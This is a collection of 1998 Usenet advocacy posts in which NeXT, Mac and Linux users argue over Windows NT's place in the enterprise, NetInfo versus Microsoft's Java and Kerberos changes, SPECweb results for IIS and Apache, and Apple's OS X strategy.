> with whatever IT managers need. Sadly, IT is deploying hardware
> infrastructure and mission critical applications in anticipation of those
> promises delivering on NT.
Not everyone. There are plenty of people, even non-technical types, who
understand that M$ and Intel hardware are inferior solutions to the
alternatives for web server roles.
> MS owns the enterprise market by spearheading development of their NT
> product to "fit" needs of Industry. Of ALL targets to challenge NT is "Net
> Transport".
Why is Apache gaining in web server marketshare, and IIS losing, then?
> I don't like the fact but at the highest levels of decision making, Industry
> bets on MS. A bet for good reason.
Yeah? What exactly is the highest level of decision making you've had
personal experience with?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Wed, 04 Nov 1998 16:57:29 -0600
Organization: Ericsson North America Inc.
Message-ID: <3640DBD9.17D3332F@ericsson.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com>
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"James E. Quick" wrote:
[brief history cut]
> Yes, NeXT did innovate. They created something new which added
> value for the administrators.
Here's a short lesson in what some call "spin doctoring". Take the above
quote and compare it to the following:
"The history of Microsoft 'innovation' is to take what it wants from the
world around it, modify it so that no one can use it outside their own
platform, and call it progress."
Now, notice that there is actually no difference in the implications
involved. However, the tone is quite obviously very different, enough so
that the casual reader might mistake them for two very different
statements.
At any rate, if the only difference is that you like one and don't like
the other, why didn't you just say so? There's no point in spinning this
elaborate case out of nowhere. You're trying to make a distinction that
doesn't exist apart from the realm of the subjective.
> At the same time they took care
> to ensure that NeXTen would be good citizens on the network.
> You want NIS, sure, use NIS. You want to keep using flat files,
> no problem just stick something into cron to niload modified
> files.
You want IPX, sure, use IPX. You want AppleTalk, sure, use AppleTalk. NT
supports both of these common protocols in a satisfactory way. I still
don't get your point.
> If you had a bunch of NeXTs you were better off using netinfo
> for everything but you need not have. Its easy to set things up
> via simplenetworkstarter, so that each host is it's own master,
> and each host relies on NIS and DNS for all their other information.
> Netinfo Is certainly different, and in my opinion better, but it
> in no way locked you into anything.
It is not possible to disable NetInfo in NeXTstep 3.3, which is what I
used for a brief time. If Windows NT were to make it impossible to
disable WINS or Windows Domain Services or NetBEUI, I'm quite sure you
would be screaming. But from NeXT it's not a problem.
> Contrast this with either of my two examples Java, and Kerberos5.
> Both of these were inherently extensible specifications which were
> designed to let everybody benefit from their use. With Java,
> Microsoft 'enhanced' the language in ways that deliberately made
> it non-portable - despite the fact that Java's raison d'etre was
> portability.
And yet, to use your own logic from the NetInfo example, if you want to
use non-extended Java on Windows, go ahead, use non-extended Java on
Windows. It's perfectly analogous to your example of using flat files or
NIS to administer networks of NetInfo or NIS+ capable machines.
> With Kerberos, the designers ensured that vendors
> and users could add proprietary extensions without breaking the
> spec. What did Microsoft do? Needlessly ignore those avenues to
> ensure that no Microsoft client could be served by a non-Microsoft
> server.
Just as no NetInfo client can be served by a non-NeXT server. Maybe I'm
just having trouble following the twisting and winding logic involved,
but I don't see the difference.
> The history of Microsoft 'innovation' is to take what it wants
> from the world around it, modify it so that no one can use it
> outside their own platform, and call it progress. Whether that
> is illegal or not, it's not in the best interests of either
> programmers or end-users.
I don't like the way Microsoft does business, not at all. I simply don't
understand where you found the high horse you're sitting on. I brought
up NetInfo as an exception to your pretention, and you have yet to grant
that it is one. I don't know how you can justify this.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Wed, 04 Nov 1998 17:00:58 -0600
Organization: Ericsson North America Inc.
Message-ID: <3640DCAA.9E8FC69C@ericsson.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> Yeah? What exactly is the highest level of decision making you've had
> personal experience with?
If you're going to compare dick sizes, you've got to be fair and whip
out yours, too. What exactly is the highest level of decision making
*you've* had personal experience with?
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Dilemma
Newsgroups: comp.sys.next.advocacy
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
Message-ID: <3640ebc9.0@news.depaul.edu>
Date: 5 Nov 98 00:05:29 GMT
Rex Riley <rr6013@yahoo.com> wrote:
> MS owns the enterprise market by spearheading development of their NT
> product to "fit" needs of Industry. Of ALL targets to challenge NT is "Net
> Transport".
No, MS promises to fit the needs of Industry, but clinches the
sale using discounts on other software or services. This is
why MS 'owns' the enterprise market. The enterprise market
sells itself short, for discounts on Office and BackOffice.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 5 Nov 1998 00:06:52 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <71qq6s$l3a$1@supernews.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com>
In article <3640795E.CF924665@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>"James E. Quick" wrote:
>[cut]
>> It's one of the reasons I have always loved NeXTStep. It's always
>> been an environment of cooperation. One developer writes a neat
>> piece of code - commercial or otherwise, and users of every other
>> piece of code get to leverage it via services. Everyone wins. In
>> a way it's an ethical operating system.
>
>NetInfo? How does this figure into your assessment?
He was refering to "services", which allow other programs to use
portions of your code; eg, the global cmd-= to define a word in
Webster's. Netinfo has nothing to do with this.
But there are third party netinfo implementations.
Given the era it was created in, and the market it was targeted
for, netinfo is a pretty neat solution.
--
Don McGregor | "With a title like _Beach Babes 2: Cave Girl Island_
mcgredo@mbay.net | you know it's going to be a great movie"
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Dilemma
Newsgroups: comp.sys.next.advocacy
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <oqN%1.13247$yb5.11558948@news.rdc1.sdca.home.com>
Message-ID: <3640ecc5.0@news.depaul.edu>
Date: 5 Nov 98 00:09:41 GMT
Rex Riley <rr6013@yahoo.com> wrote:
> In <71o4se$lsc$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> > In article <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>,
> > > If OSX is a long term plan, Apple must be positioning the server
> offering
> > > for some future technology layer. What we've heard about making it a
> > > publishing server is simply too limited to justify the bells & whistles
> like
> > > SMP...
> >
> > Disagree. Dealing with publishing is a primary problem on some of the
> largest
> > sites out there, because content management is such a essential aspect of
> a
> > large, dynamic site with lots of people authoring content and complex
> > scheduling for go-live times for this new content.
> >
> >
> SMP may be the one-trick Pony for Publishing. But SMP for departmental
> servers in Publishing? That's all?
It's not just 'departmental servers'. It's big honking servers, with
tons of storage, a form of document storage and retrieval. A
specialized example would be IBM's patent database.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Newsgroups: comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: FYI: Movies on Apple
Message-ID: <slrn741rk3.8us.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <36372C71.DC08E511@fmr.com> <1998Nov3.165230.24051@il.us.swissbank.com>
Date: Thu, 5 Nov 1998 00:15:30 GMT
Michael Humphries-Dolnick wrote:
>In article <36372C71.DC08E511@fmr.com> writes:
>> What I liked about the Apollo program was the way Hanks showed the
>> Apollo mission from different individuals point of view (the engineers,
>> the wives, etc.), not just the astronauts. If he does the same thing
>> here, one program might include a disgruntled NeXT/Newton/insert-other-
>> abandoned-platform user posting speculation about Apple to usenet.
>
>YEAH! Maybe instead of actually investing in a script, they could just
>take the script from USENET archives! Think of all the money they could
>save...
If anyone is tallying votes: mine goes to Ernest Borgnine as Steve
Sarich. Seems like an appropriately surly type.
Mark
From: Marc Slemko <marcs@znep.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: A curiosity in the Halloween document
Date: 5 Nov 1998 00:33:56 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <71qrpk$gbn$1@supernews.com>
References: <71qhhc$l49@newsb.netnews.att.com>
I have absolutely no idea why you posted this to comp.sys.next.advocacy...
In <71qhhc$l49@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @ writes:
>The Microsoft Halloween document makes the claim :
>"In the short run, IIS soundly beats Apache on SPECWeb.
>Moving further, as IIS moves into kernel and takes advantage
>of deper integration with NT, this lead is expected to increase
>further."
>****
>Is this true ? I looked at SPECWeb96 results publish on
>www.specbench.org.
The part about IIS getting better specweb results is 100% true, in
general. That is because specweb is a porn site benchmark. ie.
all static content; most sites that serve very high volumes of only
static content are porn sites. In the real world things change a bit.
>I found for example,
>SPECweb96 = 1514
>HP NetServer LPr/450
>Microsoft Internet Information Server 4.0
>450 MHz Pentium II, 1 Processor, 16K+16K L1, 512K L2,
>1024 MB RAM; 10K RPM HD, Ultra SCSI
>NT 4.0 SP3, NTFS file system
>100 Mb/s network
>SPECweb96 = 2575
>IBM Netfinity 5500
>Apache HTTP Server 1.3.1
>400 MHz Pentium II, 1 Processor, 32K L1, 512 K L2
>1 GB RAM; 7.2K, 10K RPM UW SCSI RAID
>NT 4.0, NTFS file system
>100 Mb/s network
Read the details. Look to see how IBM's world record was accomplished.
Sure, it used Apache. For cache population. Once the cache was
filled, it was all done in their in-kernel mini-HTTP server. The
results say:
AFPA web accelerator configured to accelerate Apache/NT
That is the key. AFPA (well, technicall FRICA or something like that
now that their legal people made them rename it) gives the boost.
The only Apache results you will find are IBM's three NT results
(5277, 3111, and 2575 ops/sec). This isn't because Apache would fall
off the bottom of the results, but because no one has cared to submit any
results. The big use of specweb results is for vendors to push
their hardware, not to compare software. Vendors will use whatever
software they can to squeeze a few extra ops/sec out of their hardware,
unless of course they are tied to their own software.
If you take Apache on NT with no changes, it will probably be well under
1000 on comparable hardware. Apache on NT is far worse than Apache on
Unix right now because Apache isn't optimized very well for NT.
As to the "lead is expected to increase" part, well... I'll be
quite pleased if Microsoft continues to think that.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 5 Nov 1998 01:06:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71qtlr$9sl@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com> <71oqsc$gkb@news1.panix.com> <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com>
On Wed, 04 Nov 1998 07:04:46 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>In <71oqsc$gkb@news1.panix.com> Sal Denaro wrote:
>> The worst thing Apple could do is turn this into another OS/2. A great OS
>> that lacked software and marketing.
>Absolutely, agreed for now.
...
> Sun has Apple by the cajones with Lighthouse's
>Best of Breed software on the platform sitting in a vault.
Well, if Apple wanted to they could make an offer to buy Mesa, Create, PasteUp
and TIFFany. That would give them a pretty good Office suite.
I think that 3rd party support of _known_ Apps like Office and PhotoShop
are much more likely to help OSX.
<snip>
>> >You're the CIO... you have to choose your technology platform for the
>next 5
>> >years. I just read the historical facts. Who you gonna bet your company
>> >on? Sun, MS, IBM, Apple? What are your undeniable facts to justify your
>> >position?
>> Today? Sun in the server room and NT on the desktop.
>Smart...
It is pretty much the norm in the markets where I work.
>> Three years from now?
>> I don't know, but I hope that OSX will be a credible choice then.
>Which brings us full circle back to Sun and NT... they don't go away.
But better things can come along. Do you remember VAX? All those Mini
systems of the late '70s early '80s? When Unix started to build up speed,
people moved. NT 3.1 shipped in '93. It was a largely ignored until
version 3.5 hit. Markets change slowly.
I don't think anyone expects OSX to be any different (in this regard)
as any other product.
> If
>OSX isn't an NT killer,
It isn't an "NT killer" yet. Just like Linux wasn't an NT killer in '94.
> Apple "server" plans don't scale. And if they don't
>scale? Who wants to develop YB/Java API's only to rewrite to PureJava for
>scalability later?
Why does anyone ever rewrite? To take advantages of new features and
technologies.
>> As much as I like Rhapsody, I would not choose it as the technology
>platform
>> for my hypothetical company if it was available today.
>The next question is key. What would change your mind to use it today?
If Oracle, Informix and Sybase all lined up and started waving copies of
thier products ported to OSX with commitments for the next N years
*and*
One or two of the big boys of the consulting game (like KPMG, Anderson,
EDS, IBM et al) spit out a press release that they were entering the
market for Apple based solutions.
*and*
WebObjects/YellowBox was aggressively marketed as _the_ platform for
putting MCCA systems on the web.
>> >See... you really think Apple has 3-5 years to ramp-up their OSX product
>> >plan?
>> Do you think that they could ramp up in less than that?
>Yeah!
How?
>> You can't just wave
>> a magic wand and grow a network of VARs and consultants or a library of
>3rd
>> party apps. And without that infrastructure, you can not sell to that
>market.
>I'm not Jobs. I don't mind grovelling to get what I want.
Grovelling is not going to give Apple any credibility.
> It might be
>beneath Jobs to seek success other than with his own hand.
I think Steve will take success any way he can, and take credit any way he
can.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 5 Nov 1998 01:06:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71qtls$9sl@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com> <36407875.12F4C9E4@ericsson.com>
On Wed, 04 Nov 1998 09:53:25 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>Sal Denaro wrote:
>> Apple is investing in YellowBox, I am very sure that it will grow and
>> mature in the next few years.
>Which is, of course, a very lame-duck thing to say. If you're wrong, who
>will be around at that time to point it out to you?
I'm sure you'll be around CSNA posting...
> It's comforting to
>make desperately hopeful predictions when your back is to the wall.
>What's sickening is that such attitudes have actually contributed to
>Apple's failures.
That's right Michael, we're all doomed and hopelessly deluded. You, and
you alone, see the ugly truth about just how doomed Apple really is. The
growing market share and profits are just a smoke screen that covers up
just how doomed Apple is.
Now that you shown us all the errors of our ways, and lifted the blinds
from our eyes; you can claim victory and proudly march out of CSNA.
Buh-bye.
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
<71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
<71qjm4$2ko$1@nnrp1.dejanews.com>
Message-ID: <00702.13573$yb5.12364299@news.rdc1.sdca.home.com>
Date: Thu, 05 Nov 1998 01:16:44 GMT
NNTP-Posting-Date: Wed, 04 Nov 1998 17:16:44 PDT
Organization: @Home Network
In <71qjm4$2ko$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> In article <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> > I don't like the fact but at the highest levels of decision making,
Industry
> > bets on MS. A bet for good reason.
>
> Yeah? What exactly is the highest level of decision making you've had
> personal experience with?
>
>
The 7 largest banks in the US.
ref: www.fstc.org
-r
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Date: Tue, 03 Nov 1998 07:45:06 -0600
Organization: none
Message-ID: <tim-0311980745070001@jump-tnt-0018.customer.jump.net>
References: <F1t9z3.Bq3@T-FCN.Net> <B2637101-538D4@206.165.43.141> <Ufq%1.4718$fS.15509173@news.itd.umich.edu> <cdoutyF1tsJL.L5p@netcom.com> <71lvib$qpp$1@morgoth.sfu.ca>
In article <71lvib$qpp$1@morgoth.sfu.ca>, erick@sfu.ca (Erick Bryce Wong) wrote:
| Chris Douty <cdouty@netcom.com> wrote:
| >Jin Kim <kwazyjin@hotmail.com> wrote:
| >I would suspect that there is a 64-bit Generation 4 (G4) PPC in the works
| >at IBM. The PPC620 is used in their AS/400 machines, which are fairly
|
| Are you sure about that? The AS/400 web page says they use a "PowerPC AS",
| which has 4.7 million transistors, while the PowerPC 620 (according to the
| old PowerPC FAQ) has 7 million. I was under the impression that the 620 was
| not long for this world, having not lived up to its expected performance ratio
| versus the successful 604e.
The AS/400 processor ("Amazon") is a 64-bit PowerPC, but it isn't related
to the 620. As far as I know, the 620 was only shipped in some high-end
servers from Bull.
--
-- Tim Olson
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 3 Nov 1998 14:24:31 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-0311980923530001@pm61-32.magicnet.net>
References: <71ko1u$7u1@newsb.netnews.att.com> <B2633AF9-75F6@206.165.43.97> <71n2j4$6rv$1@pascal.a2000.nl>
"Pascal Haakmat" <ahaakmat@cable.a2000.nl> wrote:
> "Lawson English" <english@primenet.com> wrote:
>
> >But there WAS arm-twisting in regard to OpenDoc. Apparently Gates felt that
> >OpenDoc was a bigger threat to him that Rhapsody...
>
> Dunno. From his perspective, spending time and money on OpenDoc may have
> just seemed like a waste.
...which is why MS spent so much money developing the Poor Man's OpenDoc,
aka OLE...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: A curiosity in the Halloween document
Date: Thu, 05 Nov 1998 02:21:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71r245$m9h$1@nnrp1.dejanews.com>
References: <71qhhc$l49@newsb.netnews.att.com>
In article <71qhhc$l49@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
> The Microsoft Halloween document makes the claim :
>
> "In the short run, IIS soundly beats Apache on SPECWeb.
> Moving further, as IIS moves into kernel and takes advantage
> of deper integration with NT, this lead is expected to increase
> further."
[ ... ]
> Perhaps the hardware is not comparable.
Yup-- Apache was running on a slower CPU machine! :-)
Otherwise, they had comparible memory, networking, and disk.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Thu, 05 Nov 1998 03:07:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71r4q3$phq$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <3640DCAA.9E8FC69C@ericsson.com>
In article <3640DCAA.9E8FC69C@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> Yeah? What exactly is the highest level of decision making you've had
>> personal experience with?
>
> If you're going to compare dick sizes, you've got to be fair and whip
> out yours, too. What exactly is the highest level of decision making
> *you've* had personal experience with?
Down, boy-- you're foaming at the mouth!
You should have noted that I never claimed such experience, nor did I claim to
know some irrefutable "fact" about "the highest levels of decision making".
No doubt you would have...if you had integrity, that is.
I won't dodge your question, though: the City of Baltimore project, a high 8-
digit project (maybe low 9, depending on how you wanted to count it) to get
approximately half of the city's 45,000 employees on-line, who were spread
out among 46 (IIRC) departments in twelve or thirteen buildings. My company
was providing consulting, training, development, and network architecture
resources to BAMAS, the Bureau Of Management Analysis Services, which is the
organization in the CoB controlling the purse strings for the other city
organizations, and thus had the political power to enforce network-wide
decisions. Oh yeah, and my company also wrote quite a bit of the financial
management software they were using.
Insofar as any one individual did (since *every* decision involved meetings
and multiple people), I made network architecture decisions about things like
DNS namespace and mail server infrastructure, and provided significant input
towards network topology, routing, redundant links, IP space management,
security, and other network issues. All this is a matter of public record
due to state and/or federal laws about public bidding for government
contracts, but I probably shouldn't go into more specific details.
Satisfied, Mike? Or is it time for some rabies shots?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Thu, 05 Nov 1998 03:33:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71r6a5$r41$1@nnrp1.dejanews.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com>
In article <3640DBD9.17D3332F@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> "James E. Quick" wrote:
[ ... ]
>> Yes, NeXT did innovate. They created something new which added
>> value for the administrators.
>
> Here's a short lesson in what some call "spin doctoring". Take the above
> quote and compare it to the following:
>
> "The history of Microsoft 'innovation' is to take what it wants from the
> world around it, modify it so that no one can use it outside their own
> platform, and call it progress."
>
> Now, notice that there is actually no difference in the implications
> involved.
Actually, there is. NeXT machines play nice with other vendor's standards,
like NIS. People using something like Visual J++ create "Java" programs that
don't play nice with other JVMs.
[ ... ]
> It is not possible to disable NetInfo in NeXTstep 3.3, which is what I
> used for a brief time. If Windows NT were to make it impossible to
> disable WINS or Windows Domain Services or NetBEUI, I'm quite sure you
> would be screaming. But from NeXT it's not a problem.
While you can disable NetBEUI, you can't disable NetBIOS on a network-aware
NT box. Futhermore, many people did regard the tight integration between
NEXTSTEP and NetInfo to be a problem, which is why we were happy when
OPENSTEP/Mach (aka NEXTSTEP 4.x) allowed you to completely disable NetInfo.
Heaven forfend that Mike would honestly represent someone else's position,
though, especially when it gets in the way of an argument he wants to make.
>> Contrast this with either of my two examples Java, and Kerberos5.
>> Both of these were inherently extensible specifications which were
>> designed to let everybody benefit from their use. With Java,
>> Microsoft 'enhanced' the language in ways that deliberately made
>> it non-portable - despite the fact that Java's raison d'etre was
>> portability.
>
> And yet, to use your own logic from the NetInfo example, if you want to
> use non-extended Java on Windows, go ahead, use non-extended Java on
> Windows. It's perfectly analogous to your example of using flat files or
> NIS to administer networks of NetInfo or NIS+ capable machines.
People using advanced networking tools like NIS+ or NetInfo could
interoperate just fine (both as client and server) with flat files or NIS.
Been there, done that, more than once.
Programs using M$ "Java" extensions don't run anywhere else but on a M$
platform. Big difference.
>> With Kerberos, the designers ensured that vendors
>> and users could add proprietary extensions without breaking the
>> spec. What did Microsoft do? Needlessly ignore those avenues to
>> ensure that no Microsoft client could be served by a non-Microsoft
>> server.
>
> Just as no NetInfo client can be served by a non-NeXT server.
Surprise-- you're absolutely wrong. A company called Xedoc made NetInfo
server products which let various other Unix boxes like Solaris and HP/UX
machines provide NetInfo to clients.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com>
<71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com>
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<71qtlr$9sl@news1.panix.com>
Message-ID: <c7b02.13595$yb5.12475178@news.rdc1.sdca.home.com>
Date: Thu, 05 Nov 1998 05:57:28 GMT
NNTP-Posting-Date: Wed, 04 Nov 1998 21:57:28 PDT
Organization: @Home Network
In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
> On Wed, 04 Nov 1998 07:04:46 GMT, Rex Riley <rr6013@yahoo.com> wrote:
> >> Three years from now?
> >> I don't know, but I hope that OSX will be a credible choice then.
> >Which brings us full circle back to Sun and NT... they don't go away.
>
> But better things can come along. Do you remember VAX? All those Mini
> systems of the late '70s early '80s? When Unix started to build up speed,
> people moved. NT 3.1 shipped in '93. It was a largely ignored until
> version 3.5 hit. Markets change slowly.
>
>
Oh, but what the _Market_ wanted was a homogenous environement across
platforms, a standard. NT gave them Windows on the desktop, Windows on the
workstation, Windows on the server - a scalable standard across the
enterprise. This is much different than a market changing slowly.
Windows became their standard of choice. Apple alienated themselves via
proprietary, premium priced closed architecture. I didn't mean for this
thread to head down this branch, but DÝja vu?
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
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<71qtlr$9sl@news1.panix.com>
Message-ID: <TEb02.13665$yb5.12475178@news.rdc1.sdca.home.com>
Date: Thu, 05 Nov 1998 06:33:23 GMT
NNTP-Posting-Date: Wed, 04 Nov 1998 22:33:23 PDT
Organization: @Home Network
In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
> On Wed, 04 Nov 1998 07:04:46 GMT, Rex Riley <rr6013@yahoo.com> wrote:
[snip snip]
> >> As much as I like Rhapsody, I would not choose it as the technology
> >platform
> >> for my hypothetical company if it was available today.
> >The next question is key. What would change your mind to use it today?
>
> If Oracle, Informix and Sybase all lined up and started waving copies of
> thier products ported to OSX with commitments for the next N years
>
> *and*
>
> One or two of the big boys of the consulting game (like KPMG, Anderson,
> EDS, IBM et al) spit out a press release that they were entering the
> market for Apple based solutions.
>
> *and*
>
> WebObjects/YellowBox was aggressively marketed as _the_ platform for
> putting MCCA systems on the web.
>
>
If I may generalize -
Credibility
*and*
Legitimacy
*and*
Commitment?
I understand the 3-5 years much better... BlueSky this now.
What could any company, not just Apple, do to overcome such constraints w/in
1yr?
-r
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy,gnu.gnustep.discuss,gnu.misc.discuss
Subject: Re: About GNUstep (was Re: About Linux, and OS-X)
Date: 5 Nov 1998 06:37:55 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <71rh43$sp$15@blue.hex.net>
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com> <1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net> <F1utE0.7r6@T-FCN.Net> <F1vC53.FHv@basil.icce.dev.rug.null.nl> <F1x2zp.Hup@T-FCN.Net>
NNTP-Posting-Date: 5 Nov 1998 06:37:55 GMT
On Wed, 4 Nov 1998 21:43:00 GMT, Maury Markowitz
<maury@remove_this.istar.ca> wrote:
>In <F1vC53.FHv@basil.icce.dev.rug.null.nl> Tom Hageman wrote:
>> Apparently the propagation of the gnu.gnustep.discuss newsgroup is quite
>> poor, my ISP doesn't carry it for example. Anyway, it just mirrors the
>> gnustep-discuss AT gnu.org mailinglist, which is quite active lately
>> (about 300 messages last month.)
>
> Ahh, we're definitely working under different versions of "quite active",
>which would explain the issue! c.s.m.a is "quite active", at something
>nearing 300 messages a day. 300 a month is10 a day, which is what I call
>"dead". But that's besides the point.
Hmmm.
